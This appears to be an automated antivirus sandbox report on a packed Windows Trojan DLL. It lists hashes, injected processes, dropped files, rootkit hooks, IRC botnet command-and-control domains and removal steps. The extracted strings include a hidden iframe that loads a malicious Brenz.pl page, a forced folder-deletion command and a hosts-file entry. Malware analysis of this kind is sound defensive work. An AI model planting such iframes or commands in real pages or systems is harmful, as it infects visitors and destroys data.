MD5: 97a955f7a6142ee474a7418edb4ec28f
SHA1: 6a12f63ae3ff28f7f1a4e811a1325b126e766509
SHA256: 0ad9a45233635b67a6064a85adabcff59e994ffeb1a4b9dfc14bd0649e9107c1
SSDeep: 12288:wSqi3gVW41lychX1f9XgcgX2Z9Vq8OI/p9snp4R1siXyaE:wSd3KiiXp0WHqYR neR1Wa
Size: 502784 bytes
File type: DLL
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2010-06-08 12:59:36
Analyzed on: Windows7 SP1 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

regsvr32.exe:2060
hrl7B85.tmp:1900

The Trojan injects its code into the following process(es):

ccoecm.exe:1796

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process regsvr32.exe:2060 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\hrl7B85.tmp (990 bytes)

The process hrl7B85.tmp:1900 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Windows\System32\ccoecm.exe (3073 bytes)

The process ccoecm.exe:1796 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Windows\System32\hra33.dll (7 bytes)
C:\RCX7EDF.tmp (14428 bytes)
C:\Windows\Sys (503 bytes)
C:\Boot\lpk.dll (3073 bytes)

Registry activity

The process hrl7B85.tmp:1900 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Services\Distribuoeq]
"Description" = "Distribucjx Transaction Coordinator Service."

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SOFTWARE.LOG,"

Dropped PE files

HOSTS file anomalies

The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses.
The modified file is 864 bytes in size. The following strings are added to the hosts file listed below:

Rootkit activity

The Trojan installs the following user-mode hooks in ntdll.dll:

NtQueryInformationProcess
ZwOpenFile
NtDeviceIoControlFile
ZwCreateUserProcess
ZwCreateProcessEx
NtCreateProcess
ZwCreateFile

Propagation

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
dingtao333.3322.org	221.130.179.36
ilo.brenz.pl	148.81.111.121
teredo.ipv6.microsoft.com	157.56.106.189
dns.msftncsi.com	131.107.255.255

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Known Hostile Domain ilo.brenz.pl Lookup

Traffic

p.....CZ................aI..YC.A.t......8b...YE..J9*#............C.S



:irc 001 zkxbabfm :Hi virtu.:irc 376 zkxbabfm :End of /MOTD command.:i
rc 001 zkxbabfm :Hi virtu.:irc 376 zkxbabfm :End of /MOTD command..:zk
xbabfm JOIN #.0..:zkxbabfm JOIN #.0.

The Trojan connects to the servers at the folowing location(s):

.text

`.data

.rsrc

@.reloc

ADVAPI32.dll

KERNEL32.dll

USER32.dll

msvcrt.dll

ole32.dll

ntdll.dll

COMCTL32.dll

Bv9.HkMaCv

Av.TBv

regsvr32.pdb

RegCloseKey

RegOpenKeyExW

_wcmdln

_amsg_exit

version="5.1.0.0"

name="Microsoft.Windows.RegSvr32"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

<requestedExecutionLevel

\regsvr32.exe

user32.dll

Excessive # of DLL's on cmdline

6.1.7600.16385 (win7_rtm.090713-1255)

REGSVR32.EXE

Windows

Operating System

6.1.7600.16385

ccoecm.exe_1796:

.text

`.rdata

@.data

.rsrc

USER32.dll

ADVAPI32.dll

SHELL32.dll

WS2_32.dll

WINMM.dll

GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htmGET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm

RegCloseKey

RegOpenKeyExA

RegOpenKeyA

ShellExecuteA

MFC42.DLL

MSVCRT.dll

_acmdln

WinExec

KERNEL32.dll

dingtao333.3322.org:1

-2146744890-2146744890

kernel32.dll

%u.%u.%u.%u

hra%u.dll

iexplore.exe

stf%c%c%c%c%c.exe

PlusCtrl.dll

SOFTWARE.LOG

%c%c%c%c%c%c.exe

%u MB

%u MHz

Windows NT

Windows 7

Windows 2008

Windows Vista

Windows 2003

Windows XP

Windows 2000

SOFTWARE\Microsoft\Windows NT\CurrentVersion

\Program Files\Internet Explorer\iexplore.exe

#0%s!

%s/%s

GET %s HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)

Host: %s:%d

Host: %s

User-Agent:Mozilla/5.0 (X11; U; Linux i686; en-US; re:1.4.0) Gecko/20080808 Firefox/%d.0

Referer: hXXp://%s:80/hXXp://%s

%s %s%s

User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01)

User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

%d.%d.%d.%d

192.168.1.244

@.reloc

SHLWAPI.dll

lpk.dll

3.iNU

=teJ,puDp

Pv.zuG

r8%XZ#Y

.RoyrXD

j;.lj0P

].QX$

L@.tn0

f.ovk

o"r%dM

[M0.Bx

.bsL,]x$

<l.jz%A

.EUB>s

}lf/.iV

i%DjEd

M.qN^v

.GJGS

u-I}K

h.xLH

%DzPP

ADVAPI32.DLL

JOIN #.%d

DSTAMP %ddd

\USERINIT.EXE

%s:*:enabled:@shell32.dll,-1

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer

yi.kilme.pl

sp.iqchk.pl

knx.remp.pl

qq.limag.ru

kto.gind.at

NICK evzjairu

SFC.DLL

SFC_OS.DLL

USER32.DLL

SHLWAPI.DLL

WSOCK32.DLL

WININET.DLL

%.6x . . :%c%.8x%x  *%s

KERNEL32.DLL

windowsupdate

drweb

ilo.brenz.pl

ant.trenz.pl

NICK ybywmaow

%.6x . . :%c%.8x%x  %s

JOIN

127.0.0.1 VVV.Brenz.pl

#<iframe style="height:1px" src="hXXp://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>

cmd /c RD /s /q "%s"

"%s" a -r -ep1"%s" "%s" "%s\lpk.dll"

"%s" x "%s" *.exe "%s\"

cmd /c %s vb "%s" lpk.dll|find /i "lpk.dll"

rar.exe

1, 0, 0, 1

server.EXE

ccoecm.exe_1796_rwx_00422000_00001000:

j;.lj0P

ccoecm.exe_1796_rwx_00469000_00001000:

%DzPP

ccoecm.exe_1796_rwx_00470000_0000F000:

ADVAPI32.DLL

JOIN #.%d

DSTAMP %ddd

\USERINIT.EXE

%s:*:enabled:@shell32.dll,-1

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer

yi.kilme.pl

sp.iqchk.pl

knx.remp.pl

qq.limag.ru

kto.gind.at

NICK evzjairu

SFC.DLL

SFC_OS.DLL

USER32.DLL

SHLWAPI.DLL

WSOCK32.DLL

WININET.DLL

%.6x . . :%c%.8x%x  *%s

KERNEL32.DLL

windowsupdate

drweb

ilo.brenz.pl

ant.trenz.pl

NICK ybywmaow

%.6x . . :%c%.8x%x  %s

JOIN

127.0.0.1 VVV.Brenz.pl

#<iframe style="height:1px" src="hXXp://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Scan a system with an anti-rootkit tool.
   
2. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   regsvr32.exe:2060
   hrl7B85.tmp:1900
   

3. Delete the original Trojan file.
   
4. Delete or disinfect the following files created/modified by the Trojan:
   

   C:\Users\"%CurrentUserName%"\AppData\Local\Temp\hrl7B85.tmp (990 bytes)
   C:\Windows\System32\ccoecm.exe (3073 bytes)
   C:\Windows\System32\hra33.dll (7 bytes)
   C:\RCX7EDF.tmp (14428 bytes)
   C:\Boot\lpk.dll (3073 bytes)
   

5. Restore the original content of the HOSTS file (%System%\drivers\etc\hosts):
   127.0.0.1 localhost
   
6. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
7. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.